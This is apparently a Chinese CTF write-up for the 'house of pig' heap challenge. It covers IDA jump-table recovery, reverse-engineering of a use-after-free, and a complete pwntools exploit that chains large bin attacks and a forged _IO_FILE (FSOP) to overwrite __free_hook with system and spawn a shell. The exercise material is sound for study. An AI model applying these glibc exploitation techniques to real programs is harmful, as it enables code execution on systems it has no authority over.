house of pig
196082 慢慢好起来

在最近做题的过程中发现自己的逆向能力很是欠缺,在梳理程序的逻辑的时候总是会梳理不清,尤其是程序当中存在复杂的结构体时或则存在cpp代码时,脑子就像有浆糊一样,后续会针对自己的逆向能力下手多练习相关题目。

ida恢复跳表

首先看到main函数存在这样一句

image-20220301101946273

看不懂就直接看汇编。

image-20220301102019688

可以看出来其实这里是一个类似与switch的语句。只不过ida没有翻译过来。

恢复的办法就是在IDA的edit当中的other里用Specify switch idiom

image-20220301102326958

  • Address of Jump table:设置成 jump table 的地址
  • Number of elements:设置为 jump table 中存在的元素总数
  • Size of table element:设置为 jump table 中元素的类型
  • Element shift amount:这个一般情况下都是零,和跳表计算时的方式有关,比如此题只是单纯的跳表地址加跳表中的元素,那么就不需要移位
  • Element base value:设置为计算跳转地址时给跳表元素加的值,比如此题的计算方法为 &unk_69E0 + unk_69E0[i],那么这里就应该填跳表的地址
  • Start of the switch idiom:这个默认就行,就是获取跳表值的语句的地址
  • Input register of switch:设置为用于给跳表寻址的寄存器
  • First(lowest) input value:就是 switch 的最小值了
  • Default jump address:也就是 default 的跳转位置,其实有时候可以不填,但是最好还是填上,这个一般在上方不远处的 cmp 指令附近,特征就是判断了输入,然后跳转到某个地址上,跳转的这个地址就是要填的值了

以上是各参数的意义

image-20220301102916881

最终填写的结果是这样。

image-20220301102933410

最终呈现的结果是这样。

在Glibc2.31下的FSOP

在以前纯粹讲解FSOP的时候发现的问题是,在2.29时的_IO_str_overflow函数就没有了用变量当作函数来调用,但是源码中还存在这样一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}

当中调用了malloc然后memcpy到堆上,最后free掉,这样对于只存在calloc的程序可以说是毁灭性的打击。具体在题目中演示

流程分析

题目依旧是菜单题,不同的是,题目是存在三个角色,每个角色在创建堆块和修改堆块时都是不一样的。

在这里先把角色的结构体给大家:

1
2
3
4
5
6
struct pig{
chunk_arr[24];
chunk_size[24];
chunk_exist[24];
chunk_freed[24];
}

这里是第一个角色Peppa的create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
unsigned __int64 __fastcall create_1(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
int i; // [rsp+18h] [rbp-18h]
int j; // [rsp+1Ch] [rbp-14h]
int v8; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]

v9 = __readfsqword(0x28u);
for ( i = 0; i <= 19 && *(a1 + 8LL * i); ++i )
;
if ( i == 20 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
if ( *(users + 84) <= 143 )
*(users + 84) = 144;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
v8 = input_int();
if ( v8 >= *(users + 84) && v8 <= 0x430 )
{
*(users + 0x54) = v8;
*(a1 + 8LL * i) = calloc(1uLL, v8);
if ( !*(a1 + 8LL * i) )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
*(a1 + 4 * (i + 0x30LL)) = v8;
*(a1 + i + 0x120) = 0;
*(a1 + i + 0x138) = 0;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
for ( j = 0; j < v8 / 48; ++j )
sub_2DBC((*(a1 + 8LL * i) + 48 * j), 16LL);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
return __readfsqword(0x28u) ^ v9;
}

可以看到上面是让下一次创建的堆块必须大于或则等于上一次创建的,以及在后面的for循环里写入内容中间都会出现两行空白sub_2DBC((*(a1 + 8LL * i) + 48 * j), 16LL);。在第二个角色也就是Mummy,创建堆块的规则是一样的,不过写入内容是sub_2DBC((*(a1 + 8LL * i) + 48 * j + 16LL), 16LL);

但是第三个角色有所区别:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
unsigned __int64 __fastcall create_3(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
int i; // [rsp+10h] [rbp-20h]
int j; // [rsp+14h] [rbp-1Ch]
int v10; // [rsp+18h] [rbp-18h]
_BYTE *v11; // [rsp+20h] [rbp-10h]
unsigned __int64 v12; // [rsp+28h] [rbp-8h]

v12 = __readfsqword(0x28u);
for ( i = 0; i <= 4 && *(a1 + 8LL * i); ++i )
;
if ( i == 5 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
if ( *(users + 256) <= 143 )
*(users + 256) = 144;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
v10 = input_int();
if ( v10 > 143 && v10 <= 0x440 )
{
*(users + 256) = v10;
*(a1 + 8LL * i) = calloc(1uLL, v10);
if ( !*(a1 + 8LL * i) )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
*(a1 + 4 * (i + 48LL)) = v10;
*(a1 + i + 288) = 0;
*(a1 + i + 312) = 0;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
for ( j = 0; j < v10 / 48; ++j )
sub_2DBC((*(a1 + 8LL * i) + 48 * j + 32LL), 16LL);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
if ( i == 4 )
{
v11 = calloc(1uLL, 0xE8uLL);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "01dwang's Gift:");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
sub_2D09(v11, 0xE8LL);
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
return __readfsqword(0x28u) ^ v12;
}

可以看到这里虽然是记录了上一个chunk的size但是并没有让后面的chunk的size必须大于等于上一个的。而且这里输入内容是这样的sub_2DBC((*(a1 + 8LL * i) + 48 * j + 32LL), 16LL);

通过上面可以看到peppa能够创建20个chunk,但是mummy只能创建10个chunk,最后的daddy只能创建5个chunk,并且最后一个chunk还是固定大小但是可以连续的写入内容。另外三个角色创建的最大chunk的size分别为:0x430,0x450,0x440 并且可以看到上面只存在calloc来申请chunk

三个的show函数都挺类似:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall show_1(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rax
int v4; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
v4 = input_int();
if ( v4 >= 0 && v4 <= 19 )
{
if ( *(a1 + 8LL * v4) && *(a1 + 4 * (v4 + 48LL)) && !*(a1 + v4 + 288) )
{
std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
v2 = std::operator<<<std::char_traits<char>>(&std::cout, *(a1 + 8LL * v4));
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}

可以看到show函数只是验证了,chunk_arr不为空,chunk_size不为空,并且chunk_exist==0

再看edit函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 __fastcall edit_1(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rax
int i; // [rsp+18h] [rbp-18h]
int v5; // [rsp+1Ch] [rbp-14h]
int v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
v5 = input_int();
if ( v5 >= 0 && v5 <= 19 )
{
if ( *(a1 + 8LL * v5) && *(a1 + 4 * (v5 + 48LL)) && !*(a1 + v5 + 288) )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
v6 = *(a1 + 4 * (v5 + 48LL)) / 48;
for ( i = 0; i < v6 && !sub_2DBC((*(a1 + 8LL * v5) + 48 * i), 16LL); ++i )
;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}

这是peppa的edit函数,这里的输入方式其实和再创建chunk的时候是一样的,并且验证的方式和show函数一样。

最后就是delete函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall delete_1(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rax
int v4; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
v4 = input_int();
if ( v4 >= 0 && v4 <= 19 )
{
if ( *(a1 + 8LL * v4) && !*(a1 + v4 + 288) && !*(a1 + v4 + 312) )
{
free(*(a1 + 8LL * v4));
*(a1 + v4 + 288) = 1;
*(a1 + v4 + 312) = 1;
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}

可以看到这里验证就是chunk_arr不为空,chunk_exist==0,chunk_freed==0,free之后将后面两个置为1。

在最后的更换身份的时候需要先验证密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 check_pass()
{
__int64 v0; // rax
__int64 v2; // rax
__int64 v3; // rax
unsigned int v4; // [rsp+Ch] [rbp-114h]
_DWORD v5[24]; // [rsp+10h] [rbp-110h] BYREF
char s[80]; // [rsp+70h] [rbp-B0h] BYREF
char v7[88]; // [rsp+C0h] [rbp-60h] BYREF
unsigned __int64 v8; // [rsp+118h] [rbp-8h]

v8 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(
&std::cout,
"Please enter the identity password of the corresponding user:");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
memset(s, 0, sizeof(s));
memset(v7, 0, 0x50uLL);
sub_2D09(s, 64LL);
v4 = strlen(s);
if ( !v4 )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "What's this?");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
((&sub_13C8 + 1))();
sub_2916(v5, s, v4);
sub_2A8B(v5, v7);
if ( !memcmp(v7, &unk_6906, 0x11uLL) || !memcmp(v7, &unk_6917, 0x11uLL) || !strcmp(v7, "<D") )
{
if ( s[0] == 0x43 )
return 3LL;
if ( s[0] - 0x41 <= 2 )
{
if ( s[0] == 0x41 )
return 1LL;
if ( s[0] == 0x42 )
return 2LL;
}
}
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Couldn't find this password!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
return 0LL;
}

这里s为我们输入的内容,v7为经过md5加密之后的内容,所以只要满足md5之后以’<D’开头即可进入下面

1
2
3
4
5
{
"Peppa": "A\x01\x95\xc9\x1c",
"Mummy": "B\x01\x87\xc3\x19",
"Daddy": "C\x01\xf7\x3c\x32"
}

根据将角色状态复制给变量的过程可以看出来包括所有角色的结构体其实是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct all_pig{
Peppa_chunk_arr[24]; size: 0xc0
Peppa_chunk_size[24]; size: 0x60
Peppa_chunk_exist[24]; size: 0x18
Peppa_chunk_freed[24]; size: 0x18
Peppa_last_chunk_size; size: 0x4
padding; size: 0x4
Mummy_chunk_arr[24]; size: 0xc0
Mummy_chunk_size[24]; size: 0x60
Mummy_chunk_exist[24]; size: 0x18
Mummy_chunk_freed[24]; size: 0x18
Mummy_last_chunk_size; size: 0x4
padding; size: 0x4
Daddy_chunk_arr[24]; size: 0xc0
Daddy_chunk_size[24]; size: 0x60
Daddy_chunk_exist[24]; size: 0x18
Daddy_chunk_freed[24]; size: 0x18
Daddy_last_chunk_size; size: 0x4
padding; size: 0x4
}

将all_pig的内容给pig的内容的过程是:

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall sub_3BEC(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy(a1, users, 0xC0uLL);
memcpy((a1 + 0xC0), users + 0xC0, 0x60uLL);
memcpy((a1 + 0x120), users + 0x120, 0x18uLL);
memcpy((a1 + 0x138), users + 0x138, 0x18uLL);
return __readfsqword(0x28u) ^ v2;
}

可以看到是将结构体的每一部分都给到了单个pig,但是在切换角色时储存单个pig的函数:

1
2
3
4
5
6
7
8
9
10
unsigned __int64 __fastcall sub_3B3E(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy(users, a1, 0xC0uLL);
memcpy(users + 192, (a1 + 192), 0x60uLL);
memcpy(users + 312, (a1 + 312), 0x18uLL);
return __readfsqword(0x28u) ^ v2;
}

可以看到这里出现了问题,他并没有将chunk_exist赋值过去,所以就造成了UAF漏洞。

利用分析

利用思路其实就是首先泄漏出libc地址,接着泄漏heap地址,利用tcache stashing unlink attack+和large bin attack实现在free_hook附近分配chunk,但是由于calloc不能够直接申请tcache当中的chunk,所以我们需要第二次利用large bin attack修改掉_IO_list_all,并且这里写入的堆地址必须是第三个用户的堆地址,这里我们再改变_chain到我们最后的gift堆块,最后在gift堆块伪造_IO_FILE结构体。

泄漏libc地址&heap地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
create(0x150, b'\n'*7)  # A0
for i in range(7):
create(0x150, b'\n'*7) # A7
delete(i+1)
delete(0)
change(2)
change(1)
show(0)
r.recvuntil(b'The message is: ')
main_arena_96 = u64(r.recv(6).ljust(8, b'\x00'))
print(hex(main_arena_96))
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
libc_base = malloc_hook-libc.symbols['__malloc_hook']

edit(1, b'a'*7)
show(1)
r.recvuntil(b'The message is: aaaaaaa\n')
heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0x10
print(hex(heap_base))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
change(2)
for i in range(5):
create(0x90, b'\n'*3) # B4
delete(i)
change(1)
create(0x150, b'\n'*7) # A8
create(0x150, b'\n'*7) # A9
create(0x150, b'\n'*7) # A10
delete(8)
change(2)
create(0xb0, b'\n'*2) # B5
change(1)
create(0x150, b'\n'*7) # A11
delete(10)
change(2)
create(0xb0, b'\n'*2) # B6
create(0x410, b'\n'*21) # B7

change(1)
create(0x150, b'\n'*7) # A12
change(2)
create(0x410, b'\n'*22) # B8
change(1)
edit(10, b'a'*0x40+p64(heap_base+0x12c40) +
p64(libc_base+libc.symbols['__free_hook']-0x20))

第一次large bin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
create(0x150, b'\n'*7)  # A13
change(2)
create(0x420, b'\n'*22) # B9
change(1)
create(0x150, b'\n'*7) # A14
change(2)
delete(9)
change(1)
create(0x430, b'\n'*22) # A15
change(2)
delete(8)
edit(9, p64(0)+p64(libc_base+libc.symbols['__free_hook']-0x28))
change(1)
create(0x430, b'\n'*22) # A16

change(3)
create(0x410, b'\n'*21) # C0

第二次large bin attack

1
2
3
4
5
6
7
8
change(2)
edit(9, p64(heap_base+0x13680)*2)
edit(8, p64(heap_base+0x13c00)*2)
edit(9, p64(0)+p64(libc_base+libc.symbols['_IO_list_all']-0x20))
change(3)
delete(0)
create(0x430, b'\n'*22) # C1
create(0x440, b'\n'*22) # C2

修改_chain的指向

1
2
3
payload = b'\x00'*0x18+p64(heap_base+0x13c00)
payload = payload.ljust(0x158, b'\x00')
create(0x410, payload) # C3

伪造IO_FILE结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def pack_file(_IO_write_base=0, _IO_write_ptr=0, _IO_buf_base=0, _IO_buf_end=0, vtable=0):
IO_FILE = p64(0)*3+p64(0) + \
p64(_IO_write_base)+p64(_IO_write_ptr) + \
p64(0)+p64(_IO_buf_base)+p64(_IO_buf_end)
IO_FILE = IO_FILE.ljust(0xc0, b'\x00')
IO_FILE += p32(0)
IO_FILE = IO_FILE.ljust(0xd8, b'\x00')+p64(vtable)
return IO_FILE


r.recvuntil(b"Gift:")
_IO_str_jumps = libc_base+0x1ed560
system_addr = libc_base+libc.symbols['system']
bin_sh_addr = libc_base+next(libc.search(b'/bin/sh'))
file_struct = pack_file(1, 0xffffffffffff, heap_base +
0x13c00+0xe0, heap_base+0x13c00+0xe0+0x18, _IO_str_jumps)
file_struct += b'/bin/sh\x00'+p64(system_addr)*2
print(hex(len(file_struct[0x10:])))
r.sendline(file_struct[0x10:])

这里解释一下为什么这么构造,把源码扒过来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
......
}
1
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

可以看到这里的old_buf也就是fp->_IO_buf_base然后old_blen也可以看到上面的定义,所以我们需要构造两个差值为0x18,并且我们可以看到,我们复制的内容也是从old_buf开始的,然后我们分配的tcahce其实是需要写三个p64才能修改到free_hook。

image-20220301113121625

我们这里的思路其实就是修改free_hook为system,那么我们free的时候就需要参数为/bin/sh所以我们old_buf就这样确定了,所以在构造结构体时后面跟了两个p64(system)这里和前面的不一样。

所以综上得出,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
from pwn import *

elf = ELF('./pig')
r = process('./pig')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.log_level = 'debug'

'''
struct pig{
chunk_arr[24];
chunk_size[24];
chunk_exist[24];
chunk_freed[24];
}

struct all_pig{
Peppa_chunk_arr[24]; size: 0xc0
Peppa_chunk_size[24]; size: 0x60
Peppa_chunk_exist[24]; size: 0x18
Peppa_chunk_freed[24]; size: 0x18
Peppa_last_chunk_size; size: 0x4
padding; size: 0x4
Mummy_chunk_arr[24]; size: 0xc0
Mummy_chunk_size[24]; size: 0x60
Mummy_chunk_exist[24]; size: 0x18
Mummy_chunk_freed[24]; size: 0x18
Mummy_last_chunk_size; size: 0x4
padding; size: 0x4
Daddy_chunk_arr[24]; size: 0xc0
Daddy_chunk_size[24]; size: 0x60
Daddy_chunk_exist[24]; size: 0x18
Daddy_chunk_freed[24]; size: 0x18
Daddy_last_chunk_size; size: 0x4
padding; size: 0x4
}

password{
Peppa: A\x01\x95\xc9\x1c
Mummy: B\x01\x87\xc3\x19
Daddy: C\x01\xf7\x3c\x32
}
'''


def create(size, content):
r.recvuntil(b'Choice:')
r.sendline(b'1')
r.recvuntil(b'Input the message size: ')
r.sendline(bytes(str(size), encoding='utf8'))
r.recvuntil(b"'s message: ")
r.sendline(content)


def show(idx):
r.recvuntil(b'Choice:')
r.sendline(b'2')
r.recvuntil(b'Input the message index: ')
r.sendline(bytes(str(idx), encoding='utf8'))


def edit(idx, content):
r.recvuntil(b'Choice:')
r.sendline(b'3')
r.recvuntil(b'Input the message index: ')
r.sendline(bytes(str(idx), encoding='utf8'))
r.recvuntil(b"'s message: ")
r.sendline(content)


def delete(idx):
r.recvuntil(b'Choice:')
r.sendline(b'4')
r.recvuntil(b'Input the message index: ')
r.sendline(bytes(str(idx), encoding='utf8'))


def change(role):
r.recvuntil(b'Choice:')
r.sendline(b'5')
r.recvuntil(b'Please enter the identity password of the corresponding user:')
if role == 1:
r.sendline(b'A\x01\x95\xc9\x1c')
elif role == 2:
r.sendline(b'B\x01\x87\xc3\x19')
else:
r.sendline(b'C\x01\xf7\x3c\x32')


create(0x150, b'\n'*7) # A0
for i in range(7):
create(0x150, b'\n'*7) # A7
delete(i+1)
delete(0)
change(2)
change(1)
show(0)
r.recvuntil(b'The message is: ')
main_arena_96 = u64(r.recv(6).ljust(8, b'\x00'))
print(hex(main_arena_96))
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
libc_base = malloc_hook-libc.symbols['__malloc_hook']

edit(1, b'a'*7)
show(1)
r.recvuntil(b'The message is: aaaaaaa\n')
heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0x10
print(hex(heap_base))

change(2)
for i in range(5):
create(0x90, b'\n'*3) # B4
delete(i)
change(1)
create(0x150, b'\n'*7) # A8
create(0x150, b'\n'*7) # A9
create(0x150, b'\n'*7) # A10
delete(8)
change(2)
create(0xb0, b'\n'*2) # B5
change(1)
create(0x150, b'\n'*7) # A11
delete(10)
change(2)
create(0xb0, b'\n'*2) # B6
create(0x410, b'\n'*21) # B7

change(1)
create(0x150, b'\n'*7) # A12
change(2)
create(0x410, b'\n'*22) # B8
change(1)
edit(10, b'a'*0x40+p64(heap_base+0x12c40) +
p64(libc_base+libc.symbols['__free_hook']-0x20))

create(0x150, b'\n'*7) # A13
change(2)
create(0x420, b'\n'*22) # B9
change(1)
create(0x150, b'\n'*7) # A14
change(2)
delete(9)
change(1)
create(0x430, b'\n'*22) # A15
change(2)
delete(8)
edit(9, p64(0)+p64(libc_base+libc.symbols['__free_hook']-0x28))
change(1)
create(0x430, b'\n'*22) # A16

change(3)
create(0x410, b'\n'*21) # C0
# create(0x90, b'\n'*3) # C1

change(2)
edit(9, p64(heap_base+0x13680)*2)
edit(8, p64(heap_base+0x13c00)*2)
edit(9, p64(0)+p64(libc_base+libc.symbols['_IO_list_all']-0x20))
change(3)
delete(0)
create(0x430, b'\n'*22) # C1
create(0x440, b'\n'*22) # C2
change(2)
edit(9, p64(heap_base+0x13680)*2)
edit(8, p64(heap_base+0x13c00)*2)
change(3)
payload = b'\x00'*0x18+p64(heap_base+0x13c00)
payload = payload.ljust(0x158, b'\x00')
create(0x410, payload) # C3
create(0x90, b'\n'*2) # C4


def pack_file(_IO_write_base=0, _IO_write_ptr=0, _IO_buf_base=0, _IO_buf_end=0, vtable=0):
IO_FILE = p64(0)*3+p64(0) + \
p64(_IO_write_base)+p64(_IO_write_ptr) + \
p64(0)+p64(_IO_buf_base)+p64(_IO_buf_end)
IO_FILE = IO_FILE.ljust(0xc0, b'\x00')
IO_FILE += p32(0)
IO_FILE = IO_FILE.ljust(0xd8, b'\x00')+p64(vtable)
return IO_FILE


r.recvuntil(b"Gift:")
_IO_str_jumps = libc_base+0x1ed560
system_addr = libc_base+libc.symbols['system']
bin_sh_addr = libc_base+next(libc.search(b'/bin/sh'))
file_struct = pack_file(1, 0xffffffffffff, heap_base +
0x13c00+0xe0, heap_base+0x13c00+0xe0+0x18, _IO_str_jumps)
file_struct += b'/bin/sh\x00'+p64(system_addr)*2
print(hex(len(file_struct[0x10:])))
r.sendline(file_struct[0x10:])

gdb.attach(r)

r.recvuntil(b'Choice:')
r.sendline(b'5')
r.sendline(b'')

r.interactive()

附件链接:

https://github.com/01dwang/house_of_pig

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量